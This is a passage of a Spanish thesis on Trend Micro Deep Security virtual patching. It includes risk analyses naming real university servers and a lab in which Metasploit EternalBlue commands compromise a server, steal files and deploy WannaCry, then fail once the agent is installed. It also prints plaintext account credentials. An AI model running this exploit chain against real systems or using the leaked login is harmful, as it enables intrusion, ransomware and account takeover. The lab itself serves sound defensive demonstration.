Figura 3.8: Esquema general de despliegue de Deep Security
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Descripción de los componentes de Trend Micro Deep Security

Deep Security Manager (DSM). Es la consola de administración centralizada
basada en Web, usada por los administradores para con�gurar las políticas de
seguridad y desplegarlas a los componentes DSA.

Deep Security Agent (DSA). Es el agente de seguridad que se despliega directa-
mente sobre los servidores.

Deep Security Relay (DSR) o Relay Server, es el elemento que pone a disposición
las actualizaciones que se requieren de los componentes de seguridad y protección
como es el patrón de �rmas o detección antimalware.

Deep Security Noti�er (DSN). Es componente para equipos basados en Windows
que permite informar los eventos de seguridad que ocurran de manera local en
un servidor.

Figura 3.9: Módulos Deep Security.
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Tabla 3.1: Descripción de módulos Deep Security

¾Qué es el parche virtual de Deep Security?

El parche virtual es una regla inteligente contra vulnerabilidades que se distribuye a
través del módulo de Intrusion Prevention, la regla se establece mediante un agente
el cual instala un controlador en la tarjeta de red del servidor. Básicamente lo que
se realiza es una inspección de paquetes y en caso de ser maliciosos estos se dropean
y se resetea la comunicación de la fuente maliciosa, con esto se logra la mitigación y
protección contra vulnerabilidades que están expuestas a los atacantes.

Por motivos de con�dencialidad por parte de Trend Micro no es posible explicar a
detalle la programación o especi�caciones del parche virtual por ser una tecnología
propia del fabricante.

Las siguientes imágenes muestran los componentes que realizan la protección del par-
che virtual.
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Figura 3.10: Agente de Deep Security con módulo de intrusion prevention activado.

Figura 3.11: Controlador instalado en tarjeta de red.
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Las siguientes imágenes describen un ejemplo de regla inteligente de parches virtuales
contra vulnerabilidades del módulo de Intrusion prevention de Deep Security.

Figura 3.12: Descripción general de regla inteligente contra vulnerabilidad MS17-010.

Figura 3.13: Información de la vulnerabilidad protegida por el parche virtual.
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3.1.1. Proceso de mitigación de vulnerabilidades mediante el parche

virtual.

El ciclo de vida administrativo y parches virtuales se basa en 4 puntos importantes.

1. Descubrir: Mediante un agente (DSA) instalado en el servidor, se realiza un
escaneo para descubrir las vulnerabilidades de los aplicativos y sistema operativo.

2. Evaluar: Se genera un reporte con el resultado del escaneo para conocer los
riesgos del sistema operativo y sus aplicaciones.

3. Remediar: Se aplican parches virtuales mediante un driver instalado en la tarjeta
de red y el agente instalado en el servidor, el parche virtual blinda perimetral
mente al servidor y no afecta ni actualiza la aplicación contribuyendo a la dis-
ponibilidad y disminuyendo el riesgo de ataque por falta de parches.

4. Veri�car: periódicamente el agente instalado escanea el servidor para conocer
nuevos riesgos y aplicar los parches virtuales correspondientes.

Figura 3.14: Ciclo de vida administrativo de vulnerabilidades y parches virtuales.
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3.2. Blindaje de aplicaciones sin afectación mediante el
parcheo virtual.

Al contar con el parche virtual que brinda Deep Security, los administradores podrán
blindar el servidor y sus aplicativos sin afectar la operación mediante reglas inteligen-
tes, reglas contra vulnerabilidades y reglas contra exploit.

Los bene�cios son los siguientes:

Aumenta la Disponibilidad.

• No más ventanas de emergencia.

• No más reinicios no plani�cados.

• No más fallas de las aplicaciones por parches no probados.

Automatización y Visibilidad.

• Descubrimiento de su estado actual.

• Monitoreo continuo de actividad.

• Remediación.

Reduce el riesgo

• La super�cie de ataque disminuye.

• Auditorías e�cientes.

Figura 3.15: Blindaje de aplicaciones mediante parche virtual.
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Ahora mostramos por medio de la imagen el escaneo y el blindaje.

Figura 3.16: Escaneo y blindaje de aplicaciones mediante parche virtual sin afectación.



31

Capítulo 4

Análisis de riesgo en servidores y
aplicaciones críticas.

Parte del trabajo importante de nuestra propuesta, es contribuir a la remediación y
mitigación de vulnerabilidades en casos reales y así poder ayudar a las empresas a
mejorar el estado de salud de los servidores y sus aplicativos.

A continuación mostramos los resultados obtenidos sobre un análisis realizado a un
grupo �nanciero de talla internacional y a una institución académica, por motivos de
con�dencialidad se omiten datos y nombres que puedan afectar la seguridad de las
instituciones analizadas.

4.1. Análisis de riesgo en institución �nanciera.

4.1.1. Antecedentes.

Bajo la necesidad de proteger los servidores críticos del Grupo �nanciero en cuestión
y aquellos equipos que cuentan con sistemas operativos y plataformas obsoletas, se
propuso blindar cada uno de ellos, obteniendo visibilidad de las actividades y eventos
que ocurren, así como proteger la información que existe dentro de los mismos.

Se realizó una evaluación técnica en un grupo de servidores probando los módulos:
Integrity Monitoring, Intrusion Prevention y Log Inspection.

4.1.2. Resumen ejecutivo.

El siguiente resumen tiene como referencia un estado inicial tomando como base el
primer escaneo y aplicación de parches virtuales proporcionados por Deep Security,
el cual se realizó de manera inicial posterior a la instalación de los agentes entre el 5
al 8 de agosto del 2017. De manera subsecuente, este grupo �nanciero realizó la miti-
gación de vulnerabilidades actualizando y poniendo parches físicos de los fabricantes
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de Software. Sin embargo, al realizarse un último escaneo el 22 de agosto del 2017,
se continúan detectando una gran cantidad de vulnerabilidades que no se han podido
mitigar con los parches de los fabricantes, pero que se encuentran protegidas a través
del parche virtual de Deep Security.

Figura 4.1: Comparativa de resumen de hallazgos.

Figura 4.2: Comparativa de vulnerabilidades encontradas por sistema operativo.
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Figura 4.3: Comparativa de ejemplos de vulnerabilidades críticas.

Realizar una remediación manual de estas vulnerabilidades, requeriría de la imple-
mentación de 14259 parches de seguridad de distintos fabricantes. Si se toma como
base que la implementación que cada uno de ellos requiere de una ventana de mante-
nimiento de entre 30 minutos y 2 horas, el tiempo total de implementación podría ir
de las 7,000 a 17,000 horas de trabajo.

Aparte, hay que considerar que gran parte de estos parches de seguridad, no podrán
ser implementados debido a que pertenecen a Sistemas que ya no son soportados por
sus fabricantes, por ejemplo, Windows Server 2003 y Windows XP por mencionar
algunos.

Existe un alto riesgo de exposición de que los sistemas críticos del grupo �nanciero
se vean afectados por atacantes internos o externos. Como hemos mencionado en la
sección del Resumen Ejecutivo, al momento de edición del presente documento, quedan
14,259 huecos de seguridad en los ambientes analizados y que, en el caso de no contar
con la protección de Deep Security, quedarían expuestos a posibles ataques, lo cuales
podrían ir desde la interrupción de servicios críticos del negocio y hasta la sustracción
o modi�cación de la información de los usuarios y clientes del grupo �nanciero.

Dentro de este grupo de vulnerabilidades se encontraron algunas con 17 años de an-
tigüedad, y que han podido remediarse debido a la criticidad de los servidores en los
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que se encuentran, ya que no pueden someterse a interrupciones operativas.1

Durante el análisis de riesgo se pudo observar que a pesar de que en algunos servidores
se implementaron los parches físicos, quedaron aún muchos huecos de seguridad, los
cuales están siendo protegidos por el parche virtual de Deep Security, el cual continuará
mitigando las vulnerabilidades el tiempo de vida de la aplicación o del propio sistema
operativo.

4.1.3. Análisis de impacto en la operación

Tras analizar los hallazgos encontrados, se recomienda enfocarse en la mejora de 4
rubros.

Tabla 4.1: Análisis de impacto en la operación.

4.1.4. Solución y Justi�cación del negocio.

Derivado del análisis y resultados, se recomienda incorporar la herramienta Trend Mi-
cro Deep Security en los servidores más críticos del grupo para contar con la tecnología
adecuada para cubrir los puntos recomendados anteriormente. Así mismo se sugiere
incorporar servicios profesionales que garanticen el monitoreo.

1CVE-2000-1075: Directory traversal vulnerability in iPlanet Certi�cate Management System 4.2
and Directory Server 4.12 allows remote attackers to read arbitrary �les via a .. (dot dot) attack in
the Agent, End Entity, or Administrator services.
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Tabla 4.2: Solución y justi�cación del negocio.

4.2. Análisis de Riesgo a la Universidad Autónoma de la
Ciudad de México.

4.2.1. Objetivo.

Conocer los riesgos y exposición actual de la Universidad Autónoma de la Cuidad
de México ante ataques de ciberseguridad que impacten la operación del negocio,
identi�cando las vulnerabilidades existentes en servidores y aplicaciones productivas
que puedan comprometer los servidores críticos de la universidad como páginas web
educativas y servidores de monitoreo.

4.2.2. Alcance.

En acuerdo con el área de Tecnologías de la Información, se seleccionaron 3 servidores
productivos con versiones de sistema operativo Windows y linux, en los que se llevó a
cabo el escaneo y análisis para el descubrimiento de las vulnerabilidades. Los servidores
seleccionados son:
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Nagios.uacm.edu.mx con Debian.

WIN.AZ06BJ01LDP con Windows server.

Selser.uacm.edu.mx con Centos.

Figura 4.4: Servidores UACM gestionados desde Deep Security.

4.2.3. Resumen Hallazgos.

El análisis de riesgo tuvo como resultado la identi�cación de 421 vulnerabilidades
en los servidores donde se les ejecutó el escaneo. Dichas vulnerabilidades, tienen como
origen tanto el Sistema Operativo, así como aplicaciones como Exchange, browsers,
JAVA, etc.

Algunas de las vulnerabilidades encontradas, al ser explotadas por los atacantes uti-
lizando distintas técnicas de penetración, tienen como consecuencia el impacto y
compromiso total del servidor y de las aplicaciones corriendo sobre él.

A continuación, se presenta la matriz con las vulnerabilidades registradas por servidor
y el posible impacto sobre los activos del Grupo, al ser explotadas por los atacantes:

Tabla 4.2.1: Vulnerabilidades encontradas vs impacto en la operación.
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4.2.4. Impacto en la operación.

De acuerdo a lo trabajado con el área de TI, se de�nió la criticidad de cada uno
de los servidores de acuerdo a las aplicaciones y servicios hospedados, además de
considerar el posible impacto en la operación en caso de que uno de estos llegase a ser
comprometido. A continuación, se presenta la información detallada:

Tabla 4.2.2: Servicios y aplicaciones en servidores.

De acuerdo al análisis, se detectó que la totalidad de servidores tienen vulnerabilidades,
las cuales van desde el 2004, hasta las últimas actualizaciones del 2017.

Como podemos notar en la columna # VULN, en cada uno de los servidores se en-
contraron vulnerabilidades, lo que implica un riesgo potencial importante debido a
que éstas al no estar protegidas, pueden ser explotadas o vulneradas mediante algún
equipo comprometido en la red interna, o de forma remota por un atacante.

Importante mencionar que, de acuerdo a las aplicaciones que residen en cada uno de
los servidores y las vulnerabilidades al ser explotadas, pueden generar los siguientes
impactos en la operación:
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Tabla 4.3.3: Posibles impactos a la operación del negocio.

4.2.5. Análisis de vulnerabilidades.

A continuación, se muestran los resultados obtenidos durante la ejecución de los esca-
neos para la identi�cación del total de reglas recomendadas de acuerdo a su severidad.

Tabla 4.5: Análisis de vulnerabilidades

De acuerdo el análisis, la mayor exposición y super�cie de ataque la conjuntan los
3 servidores, encontrando entre ellos más del 46% de vulnerabilidades registradas,
poniendo en alto riesgo la continuidad de su operación.
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4.2.6. Conclusiones.

Para Los desafíos actuales a los que deben hacer frente los administradores de TI, cada
vez más demandan estrategias de seguridad que permitan la aplicación de controles
de seguridad avanzados, por lo que el tema de las vulnerabilidades y la aplicación de
parches, bajo el contexto actual de eventos como WannaCry o Petya toman cada día
mayor relevancia.

El análisis realizado sobre los activos de la Universidad Autónoma de la Ciudad de
México, nos permitió identi�car la super�cie de ataque asociada a las vulnerabilidades,
pudiendo resaltar los siguientes puntos:

Identi�cación de los riesgos de operación, asociados a las vulnerabilidades regis-
tradas en cada uno de los servidores, con un total de 421 vulnerabilidades sin
protección expuestas al no contar con el parche aplicado.

Importante proteger y contemplar medidas compensatorias principalmente en
servidores linux, dado que es donde se registra la super�cie de ataque mayor.

La aplicación del total de parches del fabricante en los sistemas aun soportados,
implicaría un esfuerzo de aproximado 210 horas hombre para su remediación y
blindaje, además de considerar el tiempo que se tendría fuera de operación. q

4.2.7. Recomendaciones.

Contar con un sistema de respaldo para poder recuperar de manera inmediata
la información en caso de que sea comprometida por algún atacante informático
o pérdida por desastre natural.

Contar con una solución integral que ayude a robustecer la seguridad de los
servidores con tecnologías de parcheo virtual, reportes y alertas de monitoreo
de integridad de la información, con el objetivo de tener visibilidad y protección
en los servidores de la institución y con esto cumplir la disponibilidad de los
aplicativos en un 100%.

Al tener visibilidad se podrán detectar eventos como el que se muestra a continuación,
donde el 29 de octubre del 2017 se detectó un escaneo de OS Fingerprint, l o que sig-
ni�ca que la IP 172.17.102.67 intento descubrir información sobre el sistema operativo
del servidor de la página principal de la UACM (WIN-AZ06BJ01LDP), el módulo
de Integrity Monitoring de la solución registro la actividad, este comportamiento es
sospechoso y puede comprometer la información del sistema.
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Figura 4.5: Alerta de escaneo no reconocido de OS Fingerprint sobre el Servidor de la
página web de la universidad.
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Capítulo 5

Hacking Ético.

Para mostrar las ventajas del uso de una herramienta especializada para el parcheo
virtual de vulnerabilidades, modi�cación de archivos y prevención de ataques infor-
máticos. Se llevó a cabo pruebas de intrusión implementando un laboratorio sobre
un equipo de la CECI el cual se utilizó solo con �nes demostrativos dicha prueba de
intrusión se describe en dos fases.

5.1. FASE 1 Sin Agente de Deep Security.

Para la fase 1 de esta prueba se empleó un servidor víctima dedicado a respaldo de
información y desde un equipo remoto el atacante explota la vulnerabilidad MS17-010
logrando comprometer al servidor para sustraer información con�dencial y culminando
con el cifrado de información mediante Ransomware WannaCry, el �ujo del ataque se
muestra en la �gura 5.1

Detalles de los equipos implementados en la fase 1, se explican a continuación.

Equipo Atacante.

Versión de sistema operativo: Kali-Linux.

IP: 192.168.10.137

Vulnerabilidad Explotada: MS17− 010 CVE 2017− 0144.

Exploit utilizado:Eternal Blue.

Equipo Víctima.

Versión de sistema operativo: Windows Server 2008 R2.

Nombre del equipo: WIN-K7PMQP2F81K.

IP: 192.168.10.136
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Rol del Servidor: Utilizado para respaldo de información con�dencial.

Figura 5.1: Flujo de ataque a servidor explotando vulnerabilidad MS17-010.

5.1.1. Descubrimiento de la super�cie de riesgo.

Observando la siguiente imagen con el siguiente comando kali> #netdiscover.

Figura 5.2: Resultado de comando netdiscover.
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Se observan los servidores que pueden ser comprometidos con el ataque propuesto,
realizamos un escaneo para detectar los servidores disponibles.

Nuestra víctima fue el servidor Windows server 2008 R2 con IP: 10.168.10.136 como
se muestra en la �gura anterior.

Figura 5.3: Información del servidor víctima.

5.1.2. Escaneo de puertos.

Se ejecuta un escaneo de puertos con el objetivo de validar los posibles accesos del
ataque sobre puertos abiertos en vulnerables en el servidor. También se obtendrá
información del sistema operativo que tiene actualmente el servidor. El comando para
descubrir información del servidor y puertos abiertos es:nmap -O IPservidor. De
acuerdo a la imagen siguiente se observa la apertura de puertos disponibles, en este
caso tomaremos el puerto 445/TCP de Microsoft el cual es vulnerable para el ataque
mediante MS17 − 010, también se muestra la información del sistema operativo del
servidor.
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Figura 5.4: Información del sistema operativo y puertos abiertos del servidor víctima.

5.1.3. Hacking ético explotando la vulnerabilidad MS17− 010.

Iniciación la base de datos de metasploit con el comando > #service post-
gresql start.

Figura 5.5: Activación del servicio de base de datos de metasploit.

Iniciación metaseploit con el comando > #msfconsole

Con�guración del auxiliar smb_ms17_010 para determinar que el sistema ope-
rativo del servidor es vulnerable.
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Figura 5.6: Activación de consola metaspolit.

A continuación se muestran los comandos ejecutados para la con�guración del auxiliar
smb_ms17_010 el cual determina si el sistema operativo es vulnerable.

msf>use auxiliary/scanner/smb/smb_ms17_010, comando que realiza la carga
del auxiliar.

msf>show options, comando que muestra las con�guraciones que se pueden realizar
en el auxiliar.

Figura 5.7: Parámetros con�gurables del auxiliar smb_ms17_010
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msf>set rhosts 192.168.10.136, comando para establecer la IP de la víctima dentro
del auxiliar.

msf>run, comando para ejecutar el auxiliar el cual mostrará si el servidor víctima es
vulnerable por MS17− 010.

Figura 5.8: Resultado que muestra que el servidor es vulnerable.

En la imagen anterior se muestra que el servidor es vulnerable contra MS17 − 010 y
se puede continuar con el proceso de ataque.

Con�guración y ejecución del exploit �EternalBlue_DoublePulsar�.

A continuación se muestran los comandos para la con�guración del exploit
eternalblue_doublepulsar y la ejecución de este para comprometer al servidor víctima
con IP192.168.10.136.

msf>use exploit/windows/smb/eternalblue_doublepulsar, comando que realiza la
carga del exploit.

msf> set payload windows/x64/meterpreter/bind_tcp, comando que realiza la
carga útil del exploit.



5.1. FASE 1 Sin Agente de Deep Security. 47

Figura 5.9: Carga de exploit Eternalblue_doublepulsar.

msf>show options, comando que muestra las con�guraciones que se pueden realizar
en el exploit.

Figura 5.10: Opciones de con�guración del exploit eternalblue_doublepulsar.

msf>set targetarchitecture X64, comando que establece la arquitectura del siste-
ma operativo víctima dentro de las con�guraciones del exploit.

msf>set rhost 192.168.10.136, comando que establece la IP del servidor víctima
dentro de las con�guraciones del exploit.

msf>show options, comando que muestra las con�guraciones del exploit.
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Figura 5.11: Con�guraciones del servidor victima en el exploit eternal-
blue_doublepulsar.

msf>run, carga del exploit en el servidor víctima, la comunicación se establece y el
servidor queda comprometido.

Figura 5.12: Carga exitosa de exploit en servidor víctima.
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5.1.4. Robo de información.

Teniendo al servidor comprometido se puede hacer uso de la información con �nes
maliciosos, se puede tomar control total del servidor y descargar cualquier archivo
realizando robo y fuga de información.

meterpreter>sysinfo, comando para sustraer la información del sistema operativo.

Figura 5.13: Información del servidor desde el equipo atacante.

Meterpreter>screenshot, comando para tomar una captura de pantalla del servidor
víctima.

Figura 5.14: Captura de pantalla del equipo víctima.

La captura de pantalla se guarda dentro del equipo atacante, en este caso se guardó
con el nombre de pguSPEKi.jpeg
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Figura 5.15: Archivo pguSpeki.jpeg con la captura de pantalla del servidor víctima.

Figura 5.16: Imagen que muestra la captura de pantalla del servidor víctima.



5.1. FASE 1 Sin Agente de Deep Security. 51

meterpreter>cd C:\, comando que ubica al atacante dentro del directorio C:\.

meterpreter> ls, comando que muestra al atacante el contenido del directorio C:\.

Figura 5.17: Contenido del directorio C:\.

De acuerdo a la imagen anterior la carpeta �Datos� puede ser una carpeta que contenga
información con�dencial, ya que es la única que no es una carpeta de sistema.

Meterpreter>cd C:\, ubica al atacante dentro de la carpeta datos del servidor
víctima.

Meterpreter>ls, muestra el contenido de la carpeta �Datos�.
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Figura 5.18: Contenido de carpeta �Datos� visualizada desde el equipo atacante.

Figura 5.19: Contenido de la carpeta Datos visualizada desde el servidor víctima.

El atacante puede hacer uso de los archivos a su conveniencia, en este caso revisa el
contenido y lo descarga al equipo atacante, esta actividad se denomina fuga o robo de
información.
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Meterpreter>cat servidor.txt, muestra el contenido del archivo servidor.txt desde
el equipo atacante.

Figura 5.20: Contenido del archivo servidor.txt visualizada desde el equipo atacante.

Figura 5.21: Contenido del archivo servidor.txt visualizada desde el servidor víctima.

Meterpreter>dowload servidor.txt, descarga el archivo servidor.txt dentro del
equipo atacante.

Figura 5.22: Comando que descargar de archivo servidor.txt dentro del equipo ata-
cante.

El atacante puede robar la información que desee y almacenarla en su equipo sin que
el administrador del servido se dé cuenta.
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Figura 5.23: Archivo servidor.txt del servidor víctima es copiado en el equipo del
atacante.

5.1.5. Cifrado de información mediante Ransomware Wannacry.

Posterior a que el atacante toma la información del servidor víctima y la descarga
a su antojo, puede mostrarse victorioso al realizar un cifrado de información con el
objetivo de pedir un rescate por una valiosa cantidad de dinero.

A continuación los comandos que muestran como el atacante carga el archivo malicioso
de Wannacry y lo ejecuta dentro del servidor víctima.

meterpreter>mkadir wannacry, comando que crear el directorioWannacry dentro
del directorio C:\ sobre el servidor víctima.

meterpreter>ls, comando que muestra el contenido del directorio Wannacry.
meterpreter>upload ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c
6e5babe8e080e41aa.exe, es el comando que carga el archivo malicioso Wannacry
desde un directorio del equipo atacante hacia el directorio C:/datos/wannacry y
del equipo víctima.
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Figura 5.24: Carga del archivo malicioso de Wannacry desde el equipo atacante hacia
el servidor víctima.

Figura 5.25: Visualización delmalware Wannacry en el directorios del servidor víctima.

Una vez que el servidor tiene el archivo malicioso de Wannacry, este puede ser eje-
cutado desde el equipo atacante mediante un script, a continuación se muestra los
resultados de la infección.

Al momento de ejecutarse Wannacry en el servidor infectado, éste libera los compo-
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nentes que le ayudarán a escanear y cifrar los archivos dentro del servidor.

Figura 5.26: Componentes de Ransomware Wannacry.

Wannacry arroja la primera pantalla, alertando al usuario que los archivos del servidor
fueron cifrados y dando instrucciones para que pueda descifrar los archivos con la
aplicación �Wana Dcryptor�.
En realidad el aplicativo Wana Decryptor sin necesidad de que el usuario lo busque se
auto ejecuta segundos después de que la infección se realizó, posteriormente se ve una
pantalla explicando lo que paso con los archivos, cómo se pueden recuperar y cómo
realizar el pago, la solicitud de rescate tiene una vigencia que en principio se debe
pagar 300 bitcoints y aumentará conforme vaya pasando el tiempo.
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Figura 5.27: Primera alerta que arroja Wannacry en el servidor infectado.

Todos los archivos de la carpeta Datos quedan comprometidos y cifrados con extensión
WNCRY.

Los archivos no son legibles por el usuario debido al cifrado que sufrieron por Wan-
naCry, en la siguiente imagen se muestra el archivo �servidor.txt� que anteriormente
vimos que mostraba IP�s con�denciales de servidores en la red y actualmente con la
infección ya no se puede leer el contenido.
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Figura 5.28: Pantalla de solicitud de rescate de archivos infectados por Wannacry.

Figura 5.29: Explicación del pago y recuperación de archivos cifrados por Wannacry.
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Figura 5.30: Archivos cifrados con extensión WNCRY.

Figura 5.31: Contenido de archivo servidor.txt no legible para el usuario.

Todos los archivos del servidor quedaron cifrados, aquí hay dos opciones de recupe-
rarlos.

1. Tener un respaldo donde fácilmente podría recuperar la información

2. Pagar el rescate, que no se recomienda porque nadie asegura que la información
podrá recuperarse o descifrarse
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5.2. FASE 2 Con agente de Deep Security y blindaje a las
aplicaciones criticas

Para la fase 2 de esta prueba se con�guro el servidor víctima utilizado en la fase 1
dedicado a respaldo de información y desde un equipo remoto el atacante explota
la vulnerabilidad MS17 − 010, en el servidor se realizó un análisis previo con un
escaneo de recomendaciones aplicando parches virtuales para proteger las aplicaciones
críticas logrando mitigar la vulnerabilidad MS17-010 y el bloqueo hacia el atacante,
obteniendo bitácoras y resultados satisfactorios de prevención sobre el ataque dirigido
al servidor.

En la siguiente imagen se muestra el �ujo del ataque y el bloqueo realizado por Trend
Micro Deep Security.

Figura 5.32: Flujo de ataque y protección con Deep Security.

Detalles de los equipos implementados en la fase 2, se explican a continuación:

Equipo Atacante.

Versión de sistema operativo: Kali-Linux.

IP:192.168.10.137

Vulnerabilidad Explotada: MS17− 010 CVE 2017− 0144.
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exploit utilizado: Eternal Blue.

Equipo Victima.

Versión de sistema operativo: Windows Server 2008 R2.

IP:192.168.10.136

Nombre del equipo: WIN-K7PMQP2F81K.

Rol del Servidor: Utilizado para respaldo de información con�dencial.

Deep Security.

Versión de Deep Security Manager (DSM): Deep Security as a Services ( servicio
alojado en la nube)

Datos de acceso:

URL=https://app.deepsecurity.trendmicro.com:443/SignIn.screen?con�rmation=63CFF79B-
C159-0DE9-6A72-23057DDD63D3
Nombre de la cuenta:Diversiones Hermanos Mota
Nombre de usuario:motaadriang@gmail.com
Contraseña:m0t4mot4

Versión de agente Deep Security (DSA):10.0.0.2094

5.2.1. Instalación de Deep Security Agent.

Para robustecer la seguridad del servidor víctima se realiza la instalación de DSA, en
principio desde la consola se descarga el paquete de instalación.
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Figura 5.33: Descarga de DSA desde el DSM.

El paquete de instalación se guarda en el servidor víctima y se ejecuta con privilegios
de administrador para su instalación.

Figura 5.34: Pantalla inicial de instalación DSA.
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Figura 5.35: Proceso de instalación DSA.

Figura 5.36: Pantalla �nal de instalación DSA.



64 Capítulo 5. Hacking Ético.

Posterior a la instalación se genera un Script desde el DSM para que se logre la
activación del DSA del servidor víctima, el script debe ser ejecutado en PowerShell y
con privilegios de administrador.

Figura 5.37: Script generado desde el DSM.

Figura 5.38: Script ejecutado desde Powershell en el servidor víctima.
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Posterior a le ejecución del Script se valida dentro del servidor que el DSA se encuen-
tre correctamente instalado y en estado �Running�, también es importante validar el
controlador (�lter driver) se encuentre instalado en tarjeta de Red, el controlador es
el complemento que sirve para dropear el trá�co malicioso dirigido a explotar vulne-
rabilidades protegidas por las reglas inteligentes de Deep Security.

Figura 5.39: DSA y Filter Driver instalados correctamente en el servidor víctima.

Desde el DSM se observara el servidor víctima conectado y administrado en estado
�Management (Online)�.

Figura 5.40: Servidor victima gestionado por Deep Security.
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5.2.2. Activación de módulos de protección.

Desde el DSM se habilitan y con�guran los módulos de protección Antimalware, Fi-
rewall, Intrusion Prevention, Logs inspección.

Durante el despliegue de los módulos en el DSA, desde el DSM se observara que se
encuentra la instalación pendiente.

Figura 5.41: Proceso de instalación de módulos sobre el DSA.

5.2.3. Escaneo de recomendaciones y aplicación de políticas.

Posterior a la instalación de los módulos se comienza por con�gurar el Firewall, en
este ejemplo no se implementan políticas de bloqueo sobre puerto y protocolo pero
si se activa el reconocimiento de escaneos, esta propiedad del módulo de Firewall nos
ayudará a prevenir y bloquear escaneos no reconocidos como por ejemplo: escaneo de
Puertos o Figerprint.
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Figura 5.42: Bloqueo de 30 minutos sobre trá�co de escaneos no reconocidos.

Para ejecutar el escaneo de recomendaciones con el objetivo de detectar las vulnera-
bilidades dentro del servidor, se presiona click derecho en el servidor víctima, poste-
riormente acciones y escaneo de recomendación.

Figura 5.43: Escaneo de recomendaciones.

Cuando concluye el escaneo de recomendaciones el DSM asigna las políticas al DSA en
el servidor víctima, en este caso se encontraron 748 vulnerabilidades para las cuales se
asignaron 748 reglas inteligentes que mitigan la vulnerabilidad con el parcheo virtual.
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Figura 5.44: Proceso de escaneo de recomendaciones.

Adicional a las reglas contra vulnerabilidades se asignaron 34 reglas sobre los módu-
los de Interity Monitoring y Log Inspectio, estas reglas ayudaran en la auditoria e
integridad de archivos en el servidor víctima.

Las reglas fueron liberadas en cuestión de segundos sin necesidad de aplicar reinicio
en el servidor o alguna actualización que pueda modi�car a los aplicativos y con esto
se evitó cualquier afectación a la operación del servidor víctima, esta es una de las
grandes ventajas del parcheo virtual.

Figura 5.45: Módulos activados y reglas asignadas.
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5.2.4. Reglas de parcheo virtual.

Las reglas contra vulnerabilidades se encuentran en el módulo de Intrusion prevention
el cual mitiga la vulnerabilidad mediante parches virtuales y reglas inteligentes contra
comportamiento malicioso.

Figura 5.46: Reglas de intrusion prevention asignadas al servidor víctima.

Cada regla de Intrusion prevention muestra una descripción general y también infor-
mación sobre la vulnerabilidad que mitiga mediante el parche virtual.

En las siguientes imágenes se podrá observar la descripción de la regla �Identi�ed
Server Suspicious SMB Session� que mitiga la vulnerabilidad ms17− 010 mediante el
parche virtual.
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Figura 5.47: Descripción de la regla Identi�ed Server Suspicious SMB Session.

Figura 5.48: Información de la vulnerabilidad que mitiga mediante el parche virtual.

Figura 5.49: Referencia por parte de la CVE sobre la vulnerabilidad MS17− 010.
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5.2.5. Hacking ético con protección Deep Security.

De la misma forma que la fase 1, iniciamos con un escaneo de puertos con el objetivo
de validar los posibles accesos del ataque sobre puertos vulnerables en el servidor.

También se obtendrá información del sistema operativo que tiene actualmente el ser-
vidor.

El comando para descubrir información del servidor y puertos abiertos es: nmap �O
IPservidor.

Figura 5.50: Resultado de escaneo de puertos y versión del sistema operativo.

De acuerdo a la imagen anterior el atacante no pudo obtener información sobre el
sistema operativo del equipo.

Iniciación la base de datos de metasploit con el comando > # service postgresql
start

Figura 5.51: Activación del servicio de base de datos de metasploit.

Iniciación metaexploit con el comando > #msfconsole
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Figura 5.52: Activación de consola metaspolit.

Con�guración del auxiliar smb_ms17_010 para determinar que el sistema ope-
rativo del servidor es vulnerable.

A continuación se muestran comandos ejecutados para la con�guración del auxiliar y
para determinación de que el sistema operativo es vulnerable.

msf>use auxiliary/scanner/smb/smb_ms17_010, comando que realiza la carga
del auxiliar.

msf>show options, comando que muestra las con�guraciones que se pueden realizar
en el auxiliar.

Figura 5.53: Parámetros con�gurables del auxiliar smb_ms17_010.

msf>set rhosts 192.168.10.136, comando para establecer la IP de la víctima dentro
del auxiliar.
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msf>run, comando para ejecutar el auxiliar el cual mostrará si el servidor víctima es
vulnerable por MS17− 010.

Figura 5.54: Resultado que muestra que el servidor es vulnerable.

Como se puede observar en la imagen anterior, ya no se muestra que el servidor es
vulnerable como lo mostraba en la imagen de la fase 1, esto es porque el servidor
ya tiene el parche virtual y está blindado por Deep security, pero se continúo con el
proceso de ataque para observar el resultado �nal.

Con�guración y ejecución del exploit EternalBlue_DoublePulsar.

A continuación se muestran los comandos para con�guración el exploit 
ete rnalblue_doublepulsar           y la ejecución de este para comprometer al servidor
 víctima con IP 192.168.10.136.

msf>use exploit/windows/smb/eternalblue_doublepulsar, comando que reali-
za la carga del exploit.

msf> set payload windows/x64/meterpreter/bind_tcp, comando que realiza
la carga útil del exploit.
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Figura 5.55: Carga del exploit eternalblue_doublepulsar

msf>show options, comando que muestra las con�guraciones que se pueden realizar
en el exploit.

Figura 5.56: Opciones de con�guración del exploit eternalblue_doublepulsar.

msf>set targetarchitecture X64, comando que establece la arquitectura del siste-
ma operativo víctima dentro de las con�guraciones del exploit
msf>set rhost 192.168.10.136, comando que establece la IP del servidor víctima
dentro de las con�guraciones del exploit.

msf>show options, comando que muestra las con�guraciones del exploit.
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Figura 5.57: Con�guraciones del servidor Víctima en el eternalblue_doublepulsar.

msf>run, carga del exploit en el servidor víctima, la comunicación fue receteada
evitando que el servidor quedara comprometido.

Figura 5.58: Carga fallida de exploit en el servidor víctima.

De acuerdo al proceso de ataque, al momento de que el atacante culmina con la
ejecución del Exploit Eternalblue_doublepulsar, éste arroja resultados fallidos para
crear la sesión y no logra entender si el equipo es vulnerable.

Este comportamiento es porque el servidor víctima se encuentra blindado mediante el
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parche virtual que mitiga la vulnerabilidad MS17− 010.

5.2.6. Evidencia de protección de Deep Security.

El DSA se encuentra con�gurado correctamente con las reglas de protección, en total
748 parches virtuales dentro de los cuales se encuentra el que mitiga la vulnerabilidad
MS17-010 utilizada por el atacante.

Figura 5.59: Reglas con�guradas en el DSA.
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Al momento de que el atacante quiso investigar la versión del sistema operativo del
servidor víctima, el DSA lo detectó, arrojó la alerta la cual se registró en el DSM y
bloqueó durante 1800 segundos el trá�co proveniente de la IP del atacante, con esta
acción se evitó que el atacante pudiera obtener información sobre el sistema operativo
del servidor víctima.

Figura 5.60: Detección de escaneo no reconocido sobre OS Fingerprint.

Figura 5.61: Descripción sobre el bloqueo de la IP del equipo atacante.

Al momento de que el atacante intentó cargar el exploit eternalblue_double pulsar,
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el DSA lo detectó, activó la regla que protege contra esta vulnerabilidad, registró la
alerta en el DSM y bloqueó el ataque dirigido reseteando el trá�co proveniente para
explotar la vulnerabilidad MS17− 010.

Figura 5.62: Activación de la regla �Identied Server Suspicious SMB Session�.

La siguiente imagen muestra información sobre la regla de Intrusion prevention ac-
tivada, la acción realizada, tarjeta de red protegida, IP del equipo atacante e IP del
servidor víctima.

